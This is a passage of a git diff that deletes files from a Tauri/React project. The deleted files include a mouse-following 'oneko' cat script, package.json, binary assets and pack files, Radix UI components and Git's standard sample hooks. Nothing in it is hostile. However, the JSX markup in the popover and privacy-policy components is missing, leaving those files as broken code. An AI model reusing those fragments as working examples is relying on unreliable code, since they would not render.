pclmulqdq failed!"); -// } - -} \ No newline at end of file diff --git a/oneko.gif b/oneko.gif deleted file mode 100644 index c387db59dcecd7311f79d8a9a6bcb8fb21590482fd2e0ce459b72bd1c7538bbe..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3316 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 yo73M10028!@k;#w diff --git a/oneko.js b/oneko.js deleted file mode 100644 index b28ea2e..0000000 --- a/oneko.js +++ /dev/null @@ -1,162 +0,0 @@ -(function oneko() { - const nekoEl = document.createElement("div"); - let nekoPosX = 32; - let nekoPosY = 32; - let mousePosX = 0; - let mousePosY = 0; - let frameCount = 0; - let idleTime = 0; - let idleAnimation = null; - let idleAnimationFrame = 0; - const nekoSpeed = 10; - const spriteSets = { - idle: [[-3, -3]], - alert: [[-7, -3]], - scratch: [ - [-5, 0], - [-6, 0], - [-7, 0], - ], - tired: [[-3, -2]], - sleeping: [ - [-2, 0], - [-2, -1], - ], - N: [ - [-1, -2], - [-1, -3], - ], - NE: [ - [0, -2], - [0, -3], - ], - E: [ - [-3, 0], - [-3, -1], - ], - SE: [ - [-5, -1], - [-5, -2], - ], - S: [ - [-6, -3], - [-7, -2], - ], - SW: [ - [-5, -3], - [-6, -1], - ], - W: [ - [-4, -2], - [-4, -3], - ], - NW: [ - [-1, 0], - [-1, -1], - ], - }; - function create() { - nekoEl.id = "oneko"; - nekoEl.style.width = "32px"; - nekoEl.style.height = "32px"; - nekoEl.style.position = "fixed"; - nekoEl.style.backgroundImage = - "url('https://estr3llas.github.io/oneko.gif')"; - nekoEl.style.imageRendering = "pixelated"; - nekoEl.style.left = "16px"; - nekoEl.style.top = "16px"; - nekoEl.style.zIndex = "99999"; - - document.body.appendChild(nekoEl); - - document.onmousemove = (event) => { - mousePosX = event.clientX; - mousePosY = event.clientY; - }; - - window.onekoInterval = setInterval(frame, 100); - } - - function setSprite(name, frame) { - const sprite = spriteSets[name][frame % spriteSets[name].length]; - nekoEl.style.backgroundPosition = `${sprite[0] * 32}px ${sprite[1] * 32}px`; - } - - function resetIdleAnimation() { - idleAnimation = null; - idleAnimationFrame = 0; - } - - function idle() { - idleTime += 1; - - // every ~ 20 seconds - if ( - idleTime > 10 && - Math.floor(Math.random() * 200) == 0 && - idleAnimation == null - ) { - idleAnimation = ["sleeping", "scratch"][Math.floor(Math.random() * 2)]; - } - - switch (idleAnimation) { - case "sleeping": - if (idleAnimationFrame < 8) { - setSprite("tired", 0); - break; - } - setSprite("sleeping", Math.floor(idleAnimationFrame / 4)); - if (idleAnimationFrame > 192) { - resetIdleAnimation(); - } - break; - case "scratch": - setSprite("scratch", idleAnimationFrame); - if (idleAnimationFrame > 9) { - resetIdleAnimation(); - } - break; - default: - setSprite("idle", 0); - return; - } - idleAnimationFrame += 1; - } - - function frame() { - frameCount += 1; - const diffX = nekoPosX - mousePosX; - const diffY = nekoPosY - mousePosY; - const distance = Math.sqrt(diffX ** 2 + diffY ** 2); - - if (distance < nekoSpeed || distance < 48) { - idle(); - return; - } - - idleAnimation = null; - idleAnimationFrame = 0; - - if (idleTime > 1) { - setSprite("alert", 0); - // count down after being alerted before moving - idleTime = Math.min(idleTime, 7); - idleTime -= 1; - return; - } - - direction = diffY / distance > 0.5 ? "N" : ""; - direction += diffY / distance < -0.5 ? "S" : ""; - direction += diffX / distance > 0.5 ? "W" : ""; - direction += diffX / distance < -0.5 ? "E" : ""; - setSprite(direction, frameCount); - - nekoPosX -= (diffX / distance) * nekoSpeed; - nekoPosY -= (diffY / distance) * nekoSpeed; - - nekoEl.style.left = `${nekoPosX - 16}px`; - nekoEl.style.top = `${nekoPosY - 16}px`; - } - - create(); -})(); diff --git a/pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.idx b/pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.idx deleted file mode 100644 index 0b10a11b5106d7a0f8c84a7c95b27bd3ab4e2ab43f5ed76d44e3d056a5172d56..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1212 zcmexg;-AdGz`z8=g9R`G9Wshh!vGXN_%Jh2ez;*4pr1wpW(E3lz_HRBx1S3xUfT0` z&2x`wsr5=v{v8NP?+-LF`To{QJ4Q}RCA#BI_P_a;@;|DlcE$CbiMw>YGVA8qPdnCZ zvRv}=&Vg*ANVW-tV?uvJ}Xi&+l`40^PyO&jW)$o)={BNl2la2VhA}oEVP!aL_GM_2Rx649Y<%l{q*sf z==-(N9i(?NwM$sxvdoFpTdU0UM=G|xa*b~|Kg1W3tvDyH26&t^G%zqTF;UP<&n(GI z&&w}LWyt@ip4t`HcP8%A^~$W9XFu&&v&qsBqRPk9+0`%Dm0`)tI};K+qJ3q3@6C9===Ug{RT^dO5O-@G?` zGvhN@tyUjk-JHR7aFem9;aMaaF<(V#e1bG#XL@ozqnj*K zn*@%IGCh>1@gO1LB&+N(P7EfS!Lx22Wrj|A=2ZxNDC7=pjX6*0vTX@D7A45S{jxpA zw#o+8vRb>Lm9*_Y1eli%Ckf`4T2op%umv#GDEOUBh~SW_z=>B3-G;3f0H5egf@72~ zokdxl2ou``=RRbJNJ%>MBya(9C{?of-Da+WeXurc*<@lr8h}9OhL%R7WQ@irnlr(l z?V-~)+)}rFC7vSo7;B_tLhAdJPfFlZMya{(4AJQ4ida%5YBRdxO`eYdm&E*kb{{#~ zO|a4r^b#LAlRJ_*^`4lojISd}7mJj67@~B$8JKLLhC7U8{r$P0?LWqy2LkDWikaqR zZRYfSDONQTXfMHmGaJHyj|b$ zzf!4WYn-^KzMDZ)l{y+1zRr0>N32!hP-BH$4X&;4Y@xpmlP`$jjp9SBlf4PB4e>Qi zvcuY1%@73d9Nr=o$3XONyK_OSruhXT0m(A6Ie45^Qq6ATAP~Ou6r-GWC9C@aRV8AR z8m$c$kY;mqY!V|mCNj3Fy!{R|ZFePK2EO0HH8&tU&}Et3XtY*mIg{$6->Pl(%AXxLO=qz0E3VkC3muw8T-6&c|oul5BOudqd)kOnGVbAzHrLNt6xai*hK z%~W3ENVmM==9s~b8xb{kC`w5~mErlmq6(V5YNTdpU!bhuVyDoB)l8Tt-~!Kpz2N}5 zq*axy=pNInl<(_TBp<(`hAqQnbX&0xD=d{)l-C&)w5G2tu_UUf1bd`Alq?;gAH^>> zTnd6Uaw&|$F~gS1d{GZvvka)>Ixb|VB+AEiB10w-^7SGJi7ob;eP<~c ztx!ux^1sjbME(N(q8k0V19+TMR!GcCPt8d-;^GP@%1=uzF3!x)OUzMlHc}|gPb(=; zEJ{^K%P&$WPE9T?$}Fi=C`v6(O)N^z001(86m?fsy|0Lo!#GY2IH{&q9V=PgzphAp B1Ofm6 diff --git a/pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.rev b/pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.rev deleted file mode 100644 index 47ed4ef2476c62d43d25f9b5b55b25b05202fc9ff0d05bd356e98b6286040b8f..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 72 zcmWIYbctYKU|@t|AO&VK0cmC+W(g17yS`)MVGBQAirg6eQKHR Q!tTW{Z&^&SZ(J}10L`ovH~;_u diff --git a/package.json b/package.json deleted file mode 100644 index a3ea9ba..0000000 --- a/package.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "name": "angel", - "private": true, - "version": "0.1.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc && vite build", - "preview": "vite preview", - "tauri": "tauri" - }, - "dependencies": { - "@hookform/resolvers": "^3.9.0", - "@radix-ui/react-avatar": "^1.1.1", - "@radix-ui/react-checkbox": "^1.1.2", - "@radix-ui/react-collapsible": "^1.1.1", - "@radix-ui/react-context-menu": "^2.2.2", - "@radix-ui/react-dialog": "^1.1.2", - "@radix-ui/react-dropdown-menu": "^2.1.2", - "@radix-ui/react-icons": "^1.3.0", - "@radix-ui/react-label": "^2.1.0", - "@radix-ui/react-popover": "^1.1.2", - "@radix-ui/react-separator": "^1.1.0", - "@radix-ui/react-slot": "^1.1.0", - "@radix-ui/react-tabs": "^1.1.1", - "@radix-ui/react-toast": "^1.2.2", - "@radix-ui/react-tooltip": "^1.1.3", - "@tanstack/react-table": "^8.20.5", - "@tauri-apps/api": "^2", - "@tauri-apps/plugin-shell": "^2", - "@types/node": "^22.7.7", - "class-variance-authority": "^0.7.0", - "clsx": "^2.1.1", - "cmdk": "1.0.0", - "lucide-react": "^0.453.0", - "react": "^18.2.0", - "react-dom": "^18.2.0", - "react-hook-form": "^7.53.0", - "react-router-dom": "^6.27.0", - "tailwind-merge": "^2.5.4", - "tailwindcss-animate": "^1.0.7", - "zod": "^3.23.8" - }, - "devDependencies": { - "@tauri-apps/cli": "^2", - "@types/react": "^18.2.15", - "@types/react-dom": "^18.2.7", - "@vitejs/plugin-react": "^4.2.1", - "autoprefixer": "^10.4.20", - "postcss": "^8.4.47", - "sass": "^1.80.3", - "tailwindcss": "^3.4.14", - "typescript": "^5.2.2", - "vite": "^5.3.1", - "vite-plugin-sass": "^0.1.0" - } -} diff --git a/packed-refs b/packed-refs deleted file mode 100644 index e0578f4..0000000 --- a/packed-refs +++ /dev/null @@ -1,2 +0,0 @@ -# pack-refs with: peeled fully-peeled sorted -22ec46f9a0d1d2bce3ace74896657f22e4fec052 refs/remotes/origin/meow diff --git a/parse.d b/parse.d deleted file mode 100644 index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 ScmZQz7zLvtFd70QH3R?z00031 diff --git a/popover.tsx b/popover.tsx deleted file mode 100644 index ca7284b..0000000 --- a/popover.tsx +++ /dev/null @@ -1,31 +0,0 @@ -import * as React from "react" -import * as PopoverPrimitive from "@radix-ui/react-popover" - -import { cn } from "@/lib/utils" - -const Popover = PopoverPrimitive.Root - -const PopoverTrigger = PopoverPrimitive.Trigger - -const PopoverAnchor = PopoverPrimitive.Anchor - -const PopoverContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, align = "center", sideOffset = 4, ...props }, ref) => ( - - - -)) -PopoverContent.displayName = PopoverPrimitive.Content.displayName - -export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor } diff --git a/post-update.sample b/post-update.sample deleted file mode 100644 index a7573b9..0000000 --- a/post-update.sample +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh -# -# An example hook script to prepare a packed repository for use over -# dumb transports. -# -# To enable this hook, rename this file to "post-update". - -exec git update-server-info diff --git a/postcss.config.js b/postcss.config.js deleted file mode 100644 index f47c293..0000000 --- a/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - tailwindcss: {}, - autoprefixer: {}, - }, -} diff --git a/pre-applypatch.sample b/pre-applypatch.sample deleted file mode 100644 index 5c8a648..0000000 --- a/pre-applypatch.sample +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/sh -# -# An example hook script to verify what is about to be committed -# by applypatch from an e-mail message. -# -# The hook should exit with non-zero status after issuing an -# appropriate message if it wants to stop the commit. -# -# To enable this hook, rename this file to "pre-applypatch". - -. git-sh-setup -precommit="$(git rev-parse --git-path hooks/pre-commit)" -test -x "$precommit" && exec "$precommit" ${1+"$@"} -: diff --git a/pre-commit.sample b/pre-commit.sample deleted file mode 100644 index 293438d..0000000 --- a/pre-commit.sample +++ /dev/null @@ -1,49 +0,0 @@ -#!/bin/sh -# -# An example hook script to verify what is about to be committed. -# Called by "git commit" with no arguments. The hook should -# exit with non-zero status after issuing an appropriate message if -# it wants to stop the commit. -# -# To enable this hook, rename this file to "pre-commit". - -if git rev-parse --verify HEAD >/dev/null 2>&1 -then - against=HEAD -else - # Initial commit: diff against an empty tree object - against=$(git hash-object -t tree /dev/null) -fi - -# If you want to allow non-ASCII filenames set this variable to true. -allownonascii=$(git config --type=bool hooks.allownonascii) - -# Redirect output to stderr. -exec 1>&2 - -# Cross platform projects tend to avoid non-ASCII filenames; prevent -# them from being added to the repository. We exploit the fact that the -# printable range starts at the space character and ends with tilde. -if [ "$allownonascii" != "true" ] && - # Note that the use of brackets around a tr range is ok here, (it's - # even required, for portability to Solaris 10's /usr/bin/tr), since - # the square bracket bytes happen to fall in the designated range. - test $(git diff-index --cached --name-only --diff-filter=A -z $against | - LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 -then - cat <<\EOF -Error: Attempt to add a non-ASCII file name. - -This can cause problems if you want to work with people on other platforms. - -To be portable it is advisable to rename the file. - -If you know what you are doing you can disable this check using: - - git config hooks.allownonascii true -EOF - exit 1 -fi - -# If there are whitespace errors, print the offending file names and fail. -exec git diff-index --check --cached $against -- diff --git a/pre-merge-commit.sample b/pre-merge-commit.sample deleted file mode 100644 index 83e9ce9..0000000 --- a/pre-merge-commit.sample +++ /dev/null @@ -1,13 +0,0 @@ -#!/bin/sh -# -# An example hook script to verify what is about to be committed. -# Called by "git merge" with no arguments. The hook should -# exit with non-zero status after issuing an appropriate message to -# stderr if it wants to stop the merge commit. -# -# To enable this hook, rename this file to "pre-merge-commit". - -. git-sh-setup -test -x "$GIT_DIR/hooks/pre-commit" && - exec "$GIT_DIR/hooks/pre-commit" -: diff --git a/pre-push.sample b/pre-push.sample deleted file mode 100644 index 0660486..0000000 --- a/pre-push.sample +++ /dev/null @@ -1,53 +0,0 @@ -#!/bin/sh - -# An example hook script to verify what is about to be pushed. Called by "git -# push" after it has checked the remote status, but before anything has been -# pushed. If this script exits with a non-zero status nothing will be pushed. -# -# This hook is called with the following parameters: -# -# $1 -- Name of the remote to which the push is being done -# $2 -- URL to which the push is being done -# -# If pushing without using a named remote those arguments will be equal. -# -# Information about the commits which are being pushed is supplied as lines to -# the standard input in the form: -# -# -# -# This sample shows how to prevent push of commits where the log message starts -# with "WIP" (work in progress). - -remote="$1" -url="$2" - -zero=$(git hash-object --stdin &2 "Found WIP commit in $local_ref, not pushing" - exit 1 - fi - fi -done - -exit 0 diff --git a/pre-rebase.sample b/pre-rebase.sample deleted file mode 100644 index ef53621..0000000 --- a/pre-rebase.sample +++ /dev/null @@ -1,169 +0,0 @@ -#!/bin/sh -# -# Copyright (c) 2006, 2008 Junio C Hamano -# -# The "pre-rebase" hook is run just before "git rebase" starts doing -# its job, and can prevent the command from running by exiting with -# non-zero status. -# -# The hook is called with the following parameters: -# -# $1 -- the upstream the series was forked from. -# $2 -- the branch being rebased (or empty when rebasing the current branch). -# -# This sample shows how to prevent topic branches that are already -# merged to 'next' branch from getting rebased, because allowing it -# would result in rebasing already published history. - -publish=next -basebranch="$1" -if test "$#" = 2 -then - topic="refs/heads/$2" -else - topic=`git symbolic-ref HEAD` || - exit 0 ;# we do not interrupt rebasing detached HEAD -fi - -case "$topic" in -refs/heads/??/*) - ;; -*) - exit 0 ;# we do not interrupt others. - ;; -esac - -# Now we are dealing with a topic branch being rebased -# on top of master. Is it OK to rebase it? - -# Does the topic really exist? -git show-ref -q "$topic" || { - echo >&2 "No such branch $topic" - exit 1 -} - -# Is topic fully merged to master? -not_in_master=`git rev-list --pretty=oneline ^master "$topic"` -if test -z "$not_in_master" -then - echo >&2 "$topic is fully merged to master; better remove it." - exit 1 ;# we could allow it, but there is no point. -fi - -# Is topic ever merged to next? If so you should not be rebasing it. -only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` -only_next_2=`git rev-list ^master ${publish} | sort` -if test "$only_next_1" = "$only_next_2" -then - not_in_topic=`git rev-list "^$topic" master` - if test -z "$not_in_topic" - then - echo >&2 "$topic is already up to date with master" - exit 1 ;# we could allow it, but there is no point. - else - exit 0 - fi -else - not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` - /usr/bin/perl -e ' - my $topic = $ARGV[0]; - my $msg = "* $topic has commits already merged to public branch:\n"; - my (%not_in_next) = map { - /^([0-9a-f]+) /; - ($1 => 1); - } split(/\n/, $ARGV[1]); - for my $elem (map { - /^([0-9a-f]+) (.*)$/; - [$1 => $2]; - } split(/\n/, $ARGV[2])) { - if (!exists $not_in_next{$elem->[0]}) { - if ($msg) { - print STDERR $msg; - undef $msg; - } - print STDERR " $elem->[1]\n"; - } - } - ' "$topic" "$not_in_next" "$not_in_master" - exit 1 -fi - -<<\DOC_END - -This sample hook safeguards topic branches that have been -published from being rewound. - -The workflow assumed here is: - - * Once a topic branch forks from "master", "master" is never - merged into it again (either directly or indirectly). - - * Once a topic branch is fully cooked and merged into "master", - it is deleted. If you need to build on top of it to correct - earlier mistakes, a new topic branch is created by forking at - the tip of the "master". This is not strictly necessary, but - it makes it easier to keep your history simple. - - * Whenever you need to test or publish your changes to topic - branches, merge them into "next" branch. - -The script, being an example, hardcodes the publish branch name -to be "next", but it is trivial to make it configurable via -$GIT_DIR/config mechanism. - -With this workflow, you would want to know: - -(1) ... if a topic branch has ever been merged to "next". Young - topic branches can have stupid mistakes you would rather - clean up before publishing, and things that have not been - merged into other branches can be easily rebased without - affecting other people. But once it is published, you would - not want to rewind it. - -(2) ... if a topic branch has been fully merged to "master". - Then you can delete it. More importantly, you should not - build on top of it -- other people may already want to - change things related to the topic as patches against your - "master", so if you need further changes, it is better to - fork the topic (perhaps with the same name) afresh from the - tip of "master". - -Let's look at this example: - - o---o---o---o---o---o---o---o---o---o "next" - / / / / - / a---a---b A / / - / / / / - / / c---c---c---c B / - / / / \ / - / / / b---b C \ / - / / / / \ / - ---o---o---o---o---o---o---o---o---o---o---o "master" - - -A, B and C are topic branches. - - * A has one fix since it was merged up to "next". - - * B has finished. It has been fully merged up to "master" and "next", - and is ready to be deleted. - - * C has not merged to "next" at all. - -We would want to allow C to be rebased, refuse A, and encourage -B to be deleted. - -To compute (1): - - git rev-list ^master ^topic next - git rev-list ^master next - - if these match, topic has not merged in next at all. - -To compute (2): - - git rev-list master..topic - - if this is empty, it is fully merged to "master". - -DOC_END diff --git a/pre-receive.sample b/pre-receive.sample deleted file mode 100644 index b98a60f..0000000 --- a/pre-receive.sample +++ /dev/null @@ -1,24 +0,0 @@ -#!/bin/sh -# -# An example hook script to make use of push options. -# The example simply echoes all push options that start with 'echoback=' -# and rejects all pushes when the "reject" push option is used. -# -# To enable this hook, rename this file to "pre-receive". - -if test -n "$GIT_PUSH_OPTION_COUNT" -then - i=0 - while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" - do - eval "value=\$GIT_PUSH_OPTION_$i" - case "$value" in - echoback=*) - echo "echo from the pre-receive-hook: ${value#*=}" >&2 - ;; - reject) - exit 1 - esac - i=$((i + 1)) - done -fi diff --git a/prepare-commit-msg.sample b/prepare-commit-msg.sample deleted file mode 100644 index 59d5de5..0000000 --- a/prepare-commit-msg.sample +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/sh -# -# An example hook script to prepare the commit log message. -# Called by "git commit" with the name of the file that has the -# commit message, followed by the description of the commit -# message's source. The hook's purpose is to edit the commit -# message file. If the hook fails with a non-zero status, -# the commit is aborted. -# -# To enable this hook, rename this file to "prepare-commit-msg". - -# This hook includes three examples. The first one removes the -# "# Please enter the commit message..." help message. -# -# The second includes the output of "git diff --name-status -r" -# into the message, just before the "git status" output. It is -# commented because it doesn't cope with --amend or with squashed -# commits. -# -# The third example adds a Signed-off-by line to the message, that can -# still be edited. This is rarely a good idea. - -COMMIT_MSG_FILE=$1 -COMMIT_SOURCE=$2 -SHA1=$3 - -/usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE" - -# case "$COMMIT_SOURCE,$SHA1" in -# ,|template,) -# /usr/bin/perl -i.bak -pe ' -# print "\n" . `git diff --cached --name-status -r` -# if /^#/ && $first++ == 0' "$COMMIT_MSG_FILE" ;; -# *) ;; -# esac - -# SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') -# git interpret-trailers --in-place --trailer "$SOB" "$COMMIT_MSG_FILE" -# if test -z "$COMMIT_SOURCE" -# then -# /usr/bin/perl -i.bak -pe 'print "\n" if !$first_line++' "$COMMIT_MSG_FILE" -# fi diff --git a/privacy.tsx b/privacy.tsx deleted file mode 100644 index 52d9421..0000000 --- a/privacy.tsx +++ /dev/null @@ -1,27 +0,0 @@ -import { Button } from "@/components/ui/button"; -import { - DialogClose, - DialogContent, - DialogDescription, - DialogFooter, - DialogHeader, - DialogTitle, -} from "@/components/ui/dialog"; - -export function PrivacyPolicy() { - return ( - - - Privacy Policy - bla bla bla privacy - - - - - - - - ); -} diff --git a/push-to-checkout.sample b/push-to-checkout.sample deleted file mode 100644 index 65540ff..0000000 --- a/push-to-checkout.sample +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/sh - -# An example hook script to update a checked-out tree on a git push. -# -# This hook is invoked by git-receive-pack(1) when it reacts to git -# push and updates reference(s) in its repository, and when the push -# tries to update the branch that is currently checked out and the -# receive.denyCurrentBranch configuration variable is set to -# updateInstead. -# -# By default, such a push is refused if the working tree and the index -# of the remote repository has any difference from the currently -# checked out commit; when both the working tree and the index match -# the current commit, they are updated to match the newly pushed tip -# of the branch. This hook is to be used to override the default -# behaviour; however the code below reimplements the default behaviour -# as a starting point for convenient modification. -# -# The hook receives the commit with which the tip of the current -# branch is going to be updated: -commit=$1 - -# It can exit with a non-zero status to refuse the push (when it does -# so, it must not modify the index or the working tree). -die () { - echo >&2 "$*" - exit 1 -} - -# Or it can make any necessary changes to the working tree and to the -# index to bring them to the desired state when the tip of the current -# branch is updated to the new commit, and exit with a zero status. -# -# For example, the hook can simply run git read-tree -u -m HEAD "$1" -# in order to emulate git fetch that is run in the reverse direction -# with git push, as the two-tree form of git read-tree -u -m is -# essentially the same as git switch or git checkout that switches -# branches while keeping the local changes in the working tree that do -# not interfere with the difference between the branches. - -# The below is a more-or-less exact translation to shell of the C code -# for the default behaviour for git's push-to-checkout hook defined in -# the push_to_deploy() function in builtin/receive-pack.c. -# -# Note that the hook will be executed from the repository directory, -# not from the working tree, so if you want to perform operations on -# the working tree, you will have to adapt your code accordingly, e.g. -# by adding "cd .." or using relative paths. - -if ! git update-index -q --ignore-submodules --refresh -then - die "Up-to-date check failed" -fi - -if ! git diff-files --quiet --ignore-submodules -- -then - die "Working directory has unstaged changes" -fi - -# This is a rough translation of: -# -# head_has_history() ? "HEAD" : EMPTY_TREE_SHA1_HEX -if git cat-file -e HEAD 2>/dev/null -then - head=HEAD -else - head=$(git hash-object -t tree --stdin \ No newline at end of file diff --git a/sendemail-validate.sample b/sendemail-validate.sample deleted file mode 100644 index 6a13921..0000000 --- a/sendemail-validate.sample +++ /dev/null @@ -1,77 +0,0 @@ -#!/bin/sh - -# An example hook script to validate a patch (and/or patch series) before -# sending it via email. -# -# The hook should exit with non-zero status after issuing an appropriate -# message if it wants to prevent the email(s) from being sent. -# -# To enable this hook, rename this file to "sendemail-validate". -# -# By default, it will only check that the patch(es) can be applied on top of -# the default upstream branch without conflicts in a secondary worktree. After -# validation (successful or not) of the last patch of a series, the worktree -# will be deleted. -# -# The following config variables can be set to change the default remote and -# remote ref that are used to apply the patches against: -# -# sendemail.validateRemote (default: origin) -# sendemail.validateRemoteRef (default: HEAD) -# -# Replace the TODO placeholders with appropriate checks according to your -# needs. - -validate_cover_letter () { - file="$1" - # TODO: Replace with appropriate checks (e.g. spell checking). - true -} - -validate_patch () { - file="$1" - # Ensure that the patch applies without conflicts. - git am -3 "$file" || return - # TODO: Replace with appropriate checks for this patch - # (e.g. checkpatch.pl). - true -} - -validate_series () { - # TODO: Replace with appropriate checks for the whole series - # (e.g. quick build, coding style checks, etc.). - true -} - -# main ------------------------------------------------------------------------- - -if test "$GIT_SENDEMAIL_FILE_COUNTER" = 1 -then - remote=$(git config --default origin --get sendemail.validateRemote) && - ref=$(git config --default HEAD --get sendemail.validateRemoteRef) && - worktree=$(mktemp --tmpdir -d sendemail-validate.XXXXXXX) && - git worktree add -fd --checkout "$worktree" "refs/remotes/$remote/$ref" && - git config --replace-all sendemail.validateWorktree "$worktree" -else - worktree=$(git config --get sendemail.validateWorktree) -fi || { - echo "sendemail-validate: error: failed to prepare worktree" >&2 - exit 1 -} - -unset GIT_DIR GIT_WORK_TREE -cd "$worktree" && - -if grep -q "^diff --git " "$1" -then - validate_patch "$1" -else - validate_cover_letter "$1" -fi && - -if test "$GIT_SENDEMAIL_FILE_COUNTER" = "$GIT_SENDEMAIL_FILE_TOTAL" -then - git config --unset-all sendemail.validateWorktree && - trap 'git worktree remove -ff "$worktree"' EXIT && - validate_series -fi diff --git a/separator.tsx b/separator.tsx deleted file mode 100644 index 27049b3..0000000 --- a/separator.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import * as React from "react" -import * as 